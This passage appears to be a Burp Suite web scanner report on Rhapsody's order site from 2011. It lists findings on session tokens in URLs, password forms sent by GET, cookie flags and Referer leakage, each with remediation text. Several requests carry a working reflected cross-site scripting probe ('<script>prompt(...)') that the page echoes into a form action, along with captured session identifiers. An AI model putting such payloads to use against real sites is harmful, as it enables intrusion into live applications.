<meta name="v
...[SNIP]...
<!--
   // property list
   s['prop1']='pi';
   s['prop2']='ppcse';
   s['prop3']='gg_srch_gen_frdlm_songdownloadsfreeB496cf';cb06084bd31';
   s['prop4']='';
   s['prop5']='';
   s['prop10']='rp';
   s['prop12']='';
   s['prop16']='';
   s['prop17']='none';
   s['prop18']='p:store:rpp-14:K-std-rhap-flow:S13-rhapsody:loginPage';
   s['prop47']='search';
...[SNIP]...

2. Session token in URL  previous  next
There are 2 instances of this issue:

Issue background

Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.

Issue remediation

The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.


2.1. https://order.rhapsody.com/rhapsody/premierplus/monthly/30d  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://order.rhapsody.com
Path:   /rhapsody/premierplus/monthly/30d

Issue detail

The URL in the request appears to contain a session token within the query string:

Request

GET /rhapsody/premierplus/monthly/30d;jsessionid=031341B4E0E14F096FD70558BE7657B6?_flowExecutionKey=_c9E71815B-9D51-DBB8-B1E7-CA28EB6B7156_k6FA7FB90-01D3-33B9-93F5-F173532A70DE HTTP/1.1
Host: order.rhapsody.com
Connection: keep-alive
Referer: http://www.rhapsody.com/freetrial/30d/rpp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: afftr_override=cpath%3Dppcse%26ocode%3Dsearch%26pcode%3Dpi%26rsrc%3Dgg_srch_gen_frdlm_songdownloadsfreeB; s_pers=%20s_gnr%3D1315249422373-New%7C1320433422373%3B%20s_vnum%3D1317445200376%2526vn%253D1%7C1317445200376%3B%20s_invisit%3Dtrue%7C1315251222376%3B%20s_lv%3D1315249422381%7C1409857422381%3B%20s_lv_s%3DFirst%2520Visit%7C1315251222381%3B; __qca=P0-513977417-1315249422501; s_vi=[CS]v1|27328E75051615C6-600001830048FEA9[CE]; s_sess=%20s_dslv%3DFirst%2520Visit%3B%20s_cc%3Dtrue%3B%20s_sq%3Drhapcomprod%253D%252526pid%25253DMarketing%25252520%2525253A%25252520Marketing%2525253A%25252520Rhapsody.com%25252520Free%25252520Trial%2525252030d%25252520RPP%25252520Page%252526pidt%25253D1%252526oid%25253Dhttps%2525253A%2525252F%2525252Forder.rhapsody.com%2525252Frhapsody%2525252Fpremierplus%2525252Fmonthly%2525252F30d%2525253Fopage%2525253Dfreetrial30drpp2%252526ot%25253DA%3B; JSESSIONID=031341B4E0E14F096FD70558BE7657B6; RSOrderPath=EP%3Drpp-14%26cpath%3Dppcse%26ocode%3Dsearch%26opage%3Dfreetrial30drpp2%26pcode%3Dpi%26rsrc%3Dgg_srch_gen_frdlm_songdownloadsfreeB; NSC_psefs.sibqtpez.dpn-443=ffffffff099e1b3c45525d5f4f58455e445a4a423660

Response

HTTP/1.1 200 OK
Date: Mon, 05 Sep 2011 19:04:57 GMT
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
nnCoection: close
Content-Length: 12149


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Rhapsody</title>


<meta name="v
...[SNIP]...

2.2. https://order.rhapsody.com/rhapsody/premierplus1977c%22%3E%3Cscript%3Eprompt(%22FOOL!%22)%3C/script%3Eb684aeb346c/monthly/30d  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://order.rhapsody.com
Path:   /rhapsody/premierplus1977c%22%3E%3Cscript%3Eprompt(%22FOOL!%22)%3C/script%3Eb684aeb346c/monthly/30d

Issue detail

The URL in the request appears to contain a session token within the query string:

Request

GET /rhapsody/premierplus1977c%22%3E%3Cscript%3Eprompt(%22FOOL!%22)%3C/script%3Eb684aeb346c/monthly/30d;jsessionid=11813A606E11A8F593C77A1CCE3318F9?_flowExecutionKey=_c0B1E492A-79F1-E6A4-5BA6-110770429A3A_k662AB30E-A1CD-76AC-F66B-7D5D09CFC1F0 HTTP/1.1
Host: order.rhapsody.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://burp/show/2
Cookie: JSESSIONID=11813A606E11A8F593C77A1CCE3318F9; RSOrderPath=EP%3Dru-6%26cpath%3Dppcse%26ocode%3Dsearch%26opage%3Dfreetrial30drpp2%26pcode%3Dpi%26rsrc%3Dgg_srch_gen_frdlm_songdownloadsfreeB; NSC_psefs.sibqtpez.dpn-443=ffffffff099e1b3c45525d5f4f58455e445a4a423660

Response

HTTP/1.1 200 OK
Date: Mon, 05 Sep 2011 19:15:00 GMT
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
nnCoection: close
Content-Length: 15820


<html>
<head>
<title>Rhapsody</title>


<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />


<link rel="stylesheet" href="/order/flows/std/rhapsody2/css/login.css" type="
...[SNIP]...

3. Password field submitted using GET method  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://order.rhapsody.com
Path:   /rhapsody/premierplus1977c%22%3E%3Cscript%3Eprompt(%22FOOL!%22)%3C/script%3Eb684aeb346c/monthly/30d

Issue detail

The page contains a form with the following action URL, which is submitted using the GET method:The form contains the following password fields:

Issue background

The application uses the GET method to submit passwords, which are transmitted within the query string of the requested URL. Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing passwords into the URL increases the risk that they will be captured by an attacker.

Issue remediation

All forms submitting passwords should use the POST method. To achieve this, you should specify the method attribute of the FORM tag as method="POST". It may also be necessary to modify the corresponding server-side form handler to ensure that submitted passwords are properly retrieved from the message body, rather than the URL.

Request

GET /rhapsody/premierplus1977c%22%3E%3Cscript%3Eprompt(%22FOOL!%22)%3C/script%3Eb684aeb346c/monthly/30d;jsessionid=11813A606E11A8F593C77A1CCE3318F9?_flowExecutionKey=_c0B1E492A-79F1-E6A4-5BA6-110770429A3A_k662AB30E-A1CD-76AC-F66B-7D5D09CFC1F0 HTTP/1.1
Host: order.rhapsody.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://burp/show/2
Cookie: JSESSIONID=11813A606E11A8F593C77A1CCE3318F9; RSOrderPath=EP%3Dru-6%26cpath%3Dppcse%26ocode%3Dsearch%26opage%3Dfreetrial30drpp2%26pcode%3Dpi%26rsrc%3Dgg_srch_gen_frdlm_songdownloadsfreeB; NSC_psefs.sibqtpez.dpn-443=ffffffff099e1b3c45525d5f4f58455e445a4a423660

Response

HTTP/1.1 200 OK
Date: Mon, 05 Sep 2011 19:15:00 GMT
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
nnCoection: close
Content-Length: 15820


<html>
<head>
<title>Rhapsody</title>


<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />


<link rel="stylesheet" href="/order/flows/std/rhapsody2/css/login.css" type="
...[SNIP]...
</div>
<form id="flowCommonFormFields" action="/order/rhapsody/premierplus1977c"><script>
...[SNIP]...
<td class="fieldText"><input id="password" name="password" class="loginFormFieldMain" type="password" value="" size="30" maxlength="50"/> <a id="forgotPassword" tabindex="-1" class="sm_link"
href="javascript:openForgotPassword();" title="Forgot your password?">
...[SNIP]...
<td class="fieldText" style="padding-bottom:10px;"><input id="confirmPassword" name="confirmPassword" class="loginFormFieldMain" type="password" value="" size="30" maxlength="50"/></td>
...[SNIP]...

4. Password field with autocomplete enabled  previous  next
There are 2 instances of this issue:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).


4.1. https://order.rhapsody.com/rhapsody/premierplus/monthly/30d  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://order.rhapsody.com
Path:   /rhapsody/premierplus/monthly/30d

Issue detail

The page contains a form with the following action URL:The form contains the following password fields with autocomplete enabled:

Request

GET /rhapsody/premierplus/monthly/30d;jsessionid=031341B4E0E14F096FD70558BE7657B6?_flowExecutionKey=_c9E71815B-9D51-DBB8-B1E7-CA28EB6B7156_k6FA7FB90-01D3-33B9-93F5-F173532A70DE HTTP/1.1
Host: order.rhapsody.com
Connection: keep-alive
Referer: http://www.rhapsody.com/freetrial/30d/rpp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: afftr_override=cpath%3Dppcse%26ocode%3Dsearch%26pcode%3Dpi%26rsrc%3Dgg_srch_gen_frdlm_songdownloadsfreeB; s_pers=%20s_gnr%3D1315249422373-New%7C1320433422373%3B%20s_vnum%3D1317445200376%2526vn%253D1%7C1317445200376%3B%20s_invisit%3Dtrue%7C1315251222376%3B%20s_lv%3D1315249422381%7C1409857422381%3B%20s_lv_s%3DFirst%2520Visit%7C1315251222381%3B; __qca=P0-513977417-1315249422501; s_vi=[CS]v1|27328E75051615C6-600001830048FEA9[CE]; s_sess=%20s_dslv%3DFirst%2520Visit%3B%20s_cc%3Dtrue%3B%20s_sq%3Drhapcomprod%253D%252526pid%25253DMarketing%25252520%2525253A%25252520Marketing%2525253A%25252520Rhapsody.com%25252520Free%25252520Trial%2525252030d%25252520RPP%25252520Page%252526pidt%25253D1%252526oid%25253Dhttps%2525253A%2525252F%2525252Forder.rhapsody.com%2525252Frhapsody%2525252Fpremierplus%2525252Fmonthly%2525252F30d%2525253Fopage%2525253Dfreetrial30drpp2%252526ot%25253DA%3B; JSESSIONID=031341B4E0E14F096FD70558BE7657B6; RSOrderPath=EP%3Drpp-14%26cpath%3Dppcse%26ocode%3Dsearch%26opage%3Dfreetrial30drpp2%26pcode%3Dpi%26rsrc%3Dgg_srch_gen_frdlm_songdownloadsfreeB; NSC_psefs.sibqtpez.dpn-443=ffffffff099e1b3c45525d5f4f58455e445a4a423660

Response

HTTP/1.1 200 OK
Date: Mon, 05 Sep 2011 19:04:57 GMT
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
nnCoection: close
Content-Length: 12149


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Rhapsody</title>


<meta name="v
...[SNIP]...
</div>

<form id="flowCommonFormFields" action="/order/rhapsody/premierplus/monthly/30d?_flowExecutionKey=_c9E71815B-9D51-DBB8-B1E7-CA28EB6B7156_k6FA7FB90-01D3-33B9-93F5-F173532A70DE" method="post">


<div id="fb-root">
...[SNIP]...
<li class="formfield">
<input id="password" name="password" type="password" value="" size="30" maxlength="50"/>

<br class="signin" />
...[SNIP]...
<li class="newuser formfield nopad">
<input id="confirmPassword" name="confirmPassword" type="password" value="" size="30" maxlength="50"/>

</li>
...[SNIP]...

4.2. https://order.rhapsody.com/rhapsody/premierplus1977c%22%3E%3Cscript%3Eprompt(%22FOOL!%22)%3C/script%3Eb684aeb346c/monthly/30d  previous

Summary

Severity:   Low
Confidence:   Certain
Host:   https://order.rhapsody.com
Path:   /rhapsody/premierplus1977c%22%3E%3Cscript%3Eprompt(%22FOOL!%22)%3C/script%3Eb684aeb346c/monthly/30d

Issue detail

The page contains a form with the following action URL:The form contains the following password fields with autocomplete enabled:

Request

GET /rhapsody/premierplus1977c%22%3E%3Cscript%3Eprompt(%22FOOL!%22)%3C/script%3Eb684aeb346c/monthly/30d;jsessionid=11813A606E11A8F593C77A1CCE3318F9?_flowExecutionKey=_c0B1E492A-79F1-E6A4-5BA6-110770429A3A_k662AB30E-A1CD-76AC-F66B-7D5D09CFC1F0 HTTP/1.1
Host: order.rhapsody.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://burp/show/2
Cookie: JSESSIONID=11813A606E11A8F593C77A1CCE3318F9; RSOrderPath=EP%3Dru-6%26cpath%3Dppcse%26ocode%3Dsearch%26opage%3Dfreetrial30drpp2%26pcode%3Dpi%26rsrc%3Dgg_srch_gen_frdlm_songdownloadsfreeB; NSC_psefs.sibqtpez.dpn-443=ffffffff099e1b3c45525d5f4f58455e445a4a423660

Response

HTTP/1.1 200 OK
Date: Mon, 05 Sep 2011 19:15:00 GMT
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
nnCoection: close
Content-Length: 15820


<html>
<head>
<title>Rhapsody</title>


<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />


<link rel="stylesheet" href="/order/flows/std/rhapsody2/css/login.css" type="
...[SNIP]...
</div>
<form id="flowCommonFormFields" action="/order/rhapsody/premierplus1977c"><script>
...[SNIP]...
<td class="fieldText"><input id="password" name="password" class="loginFormFieldMain" type="password" value="" size="30" maxlength="50"/> <a id="forgotPassword" tabindex="-1" class="sm_link"
href="javascript:openForgotPassword();" title="Forgot your password?">
...[SNIP]...
<td class="fieldText" style="padding-bottom:10px;"><input id="confirmPassword" name="confirmPassword" class="loginFormFieldMain" type="password" value="" size="30" maxlength="50"/></td>
...[SNIP]...

5. SSL cookie without secure flag set  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://order.rhapsody.com
Path:   /rhapsody/premierplus/monthly/30d

Issue detail

The following cookies were issued by the application and do not have the secure flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.

Issue remediation

The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.

Request

GET /rhapsody/premierplus/monthly/30d?opage=freetrial30drpp2 HTTP/1.1
Host: order.rhapsody.com
Connection: keep-alive
Referer: http://www.rhapsody.com/freetrial/30d/rpp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: afftr_override=cpath%3Dppcse%26ocode%3Dsearch%26pcode%3Dpi%26rsrc%3Dgg_srch_gen_frdlm_songdownloadsfreeB; s_pers=%20s_gnr%3D1315249422373-New%7C1320433422373%3B%20s_vnum%3D1317445200376%2526vn%253D1%7C1317445200376%3B%20s_invisit%3Dtrue%7C1315251222376%3B%20s_lv%3D1315249422381%7C1409857422381%3B%20s_lv_s%3DFirst%2520Visit%7C1315251222381%3B; __qca=P0-513977417-1315249422501; s_vi=[CS]v1|27328E75051615C6-600001830048FEA9[CE]; s_sess=%20s_dslv%3DFirst%2520Visit%3B%20s_cc%3Dtrue%3B%20s_sq%3Drhapcomprod%253D%252526pid%25253DMarketing%25252520%2525253A%25252520Marketing%2525253A%25252520Rhapsody.com%25252520Free%25252520Trial%2525252030d%25252520RPP%25252520Page%252526pidt%25253D1%252526oid%25253Dhttps%2525253A%2525252F%2525252Forder.rhapsody.com%2525252Frhapsody%2525252Fpremierplus%2525252Fmonthly%2525252F30d%2525253Fopage%2525253Dfreetrial30drpp2%252526ot%25253DA%3B

Response

HTTP/1.1 302 Moved Temporarily
Date: Mon, 05 Sep 2011 19:04:57 GMT
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Location: https://order.rhapsody.com/rhapsody/premierplus/monthly/30d?_flowExecutionKey=_c95BF95B3-212A-CF02-BDA5-0DCC95ECADAD_k15BAA438-3985-CCA5-51E8-082075A89715
Content-Language: en-US
Content-Length: 0
Set-Cookie: RSOrderPath=EP%3Drpp-14; Expires=Fri, 04-Nov-2011 19:04:57 GMT; Path=/
Set-Cookie: RSOrderPath=EP%3Drpp-14%26cpath%3Dppcse%26ocode%3Dsearch%26opage%3Dfreetrial30drpp2%26pcode%3Dpi%26rsrc%3Dgg_srch_gen_frdlm_songdownloadsfreeB; Expires=Fri, 04-Nov-2011 19:04:57 GMT; Path=/
Set-Cookie: RSOrderPath=EP%3Drpp-14%26cpath%3Dppcse%26ocode%3Dsearch%26opage%3Dfreetrial30drpp2%26pcode%3Dpi%26rsrc%3Dgg_srch_gen_frdlm_songdownloadsfreeB; Expires=Fri, 04-Nov-2011 19:04:57 GMT; Path=/
nnCoection: close
Content-Type: text/plain; charset=UTF-8


6. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://order.rhapsody.com
Path:   /rhapsody/premierplus/monthly/30d

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /rhapsody/premierplus/monthly/30d;jsessionid=031341B4E0E14F096FD70558BE7657B6?_flowExecutionKey=_c9E71815B-9D51-DBB8-B1E7-CA28EB6B7156_k6FA7FB90-01D3-33B9-93F5-F173532A70DE HTTP/1.1
Host: order.rhapsody.com
Connection: keep-alive
Referer: http://www.rhapsody.com/freetrial/30d/rpp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: afftr_override=cpath%3Dppcse%26ocode%3Dsearch%26pcode%3Dpi%26rsrc%3Dgg_srch_gen_frdlm_songdownloadsfreeB; s_pers=%20s_gnr%3D1315249422373-New%7C1320433422373%3B%20s_vnum%3D1317445200376%2526vn%253D1%7C1317445200376%3B%20s_invisit%3Dtrue%7C1315251222376%3B%20s_lv%3D1315249422381%7C1409857422381%3B%20s_lv_s%3DFirst%2520Visit%7C1315251222381%3B; __qca=P0-513977417-1315249422501; s_vi=[CS]v1|27328E75051615C6-600001830048FEA9[CE]; s_sess=%20s_dslv%3DFirst%2520Visit%3B%20s_cc%3Dtrue%3B%20s_sq%3Drhapcomprod%253D%252526pid%25253DMarketing%25252520%2525253A%25252520Marketing%2525253A%25252520Rhapsody.com%25252520Free%25252520Trial%2525252030d%25252520RPP%25252520Page%252526pidt%25253D1%252526oid%25253Dhttps%2525253A%2525252F%2525252Forder.rhapsody.com%2525252Frhapsody%2525252Fpremierplus%2525252Fmonthly%2525252F30d%2525253Fopage%2525253Dfreetrial30drpp2%252526ot%25253DA%3B; JSESSIONID=031341B4E0E14F096FD70558BE7657B6; RSOrderPath=EP%3Drpp-14%26cpath%3Dppcse%26ocode%3Dsearch%26opage%3Dfreetrial30drpp2%26pcode%3Dpi%26rsrc%3Dgg_srch_gen_frdlm_songdownloadsfreeB; NSC_psefs.sibqtpez.dpn-443=ffffffff099e1b3c45525d5f4f58455e445a4a423660

Response

HTTP/1.1 200 OK
Date: Mon, 05 Sep 2011 19:04:57 GMT
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
nnCoection: close
Content-Length: 12149


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Rhapsody</title>


<meta name="v
...[SNIP]...
</div>
<script src="https://connect.facebook.net/en_US/all.js"></script>
...[SNIP]...

7. Cross-domain script include  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://order.rhapsody.com
Path:   /rhapsody/premierplus/monthly/30d

Issue detail

The response dynamically includes the following script from another domain:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /rhapsody/premierplus/monthly/30d;jsessionid=031341B4E0E14F096FD70558BE7657B6?_flowExecutionKey=_c9E71815B-9D51-DBB8-B1E7-CA28EB6B7156_k6FA7FB90-01D3-33B9-93F5-F173532A70DE HTTP/1.1
Host: order.rhapsody.com
Connection: keep-alive
Referer: http://www.rhapsody.com/freetrial/30d/rpp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: afftr_override=cpath%3Dppcse%26ocode%3Dsearch%26pcode%3Dpi%26rsrc%3Dgg_srch_gen_frdlm_songdownloadsfreeB; s_pers=%20s_gnr%3D1315249422373-New%7C1320433422373%3B%20s_vnum%3D1317445200376%2526vn%253D1%7C1317445200376%3B%20s_invisit%3Dtrue%7C1315251222376%3B%20s_lv%3D1315249422381%7C1409857422381%3B%20s_lv_s%3DFirst%2520Visit%7C1315251222381%3B; __qca=P0-513977417-1315249422501; s_vi=[CS]v1|27328E75051615C6-600001830048FEA9[CE]; s_sess=%20s_dslv%3DFirst%2520Visit%3B%20s_cc%3Dtrue%3B%20s_sq%3Drhapcomprod%253D%252526pid%25253DMarketing%25252520%2525253A%25252520Marketing%2525253A%25252520Rhapsody.com%25252520Free%25252520Trial%2525252030d%25252520RPP%25252520Page%252526pidt%25253D1%252526oid%25253Dhttps%2525253A%2525252F%2525252Forder.rhapsody.com%2525252Frhapsody%2525252Fpremierplus%2525252Fmonthly%2525252F30d%2525253Fopage%2525253Dfreetrial30drpp2%252526ot%25253DA%3B; JSESSIONID=031341B4E0E14F096FD70558BE7657B6; RSOrderPath=EP%3Drpp-14%26cpath%3Dppcse%26ocode%3Dsearch%26opage%3Dfreetrial30drpp2%26pcode%3Dpi%26rsrc%3Dgg_srch_gen_frdlm_songdownloadsfreeB; NSC_psefs.sibqtpez.dpn-443=ffffffff099e1b3c45525d5f4f58455e445a4a423660

Response

HTTP/1.1 200 OK
Date: Mon, 05 Sep 2011 19:04:57 GMT
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
nnCoection: close
Content-Length: 12149


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Rhapsody</title>


<meta name="v
...[SNIP]...
</div>
<script src="https://connect.facebook.net/en_US/all.js"></script>
...[SNIP]...

8. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://order.rhapsody.com
Path:   /rhapsody/premierplus/monthly/30d

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /rhapsody/premierplus/monthly/30d?opage=freetrial30drpp2 HTTP/1.1
Host: order.rhapsody.com
Connection: keep-alive
Referer: http://www.rhapsody.com/freetrial/30d/rpp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
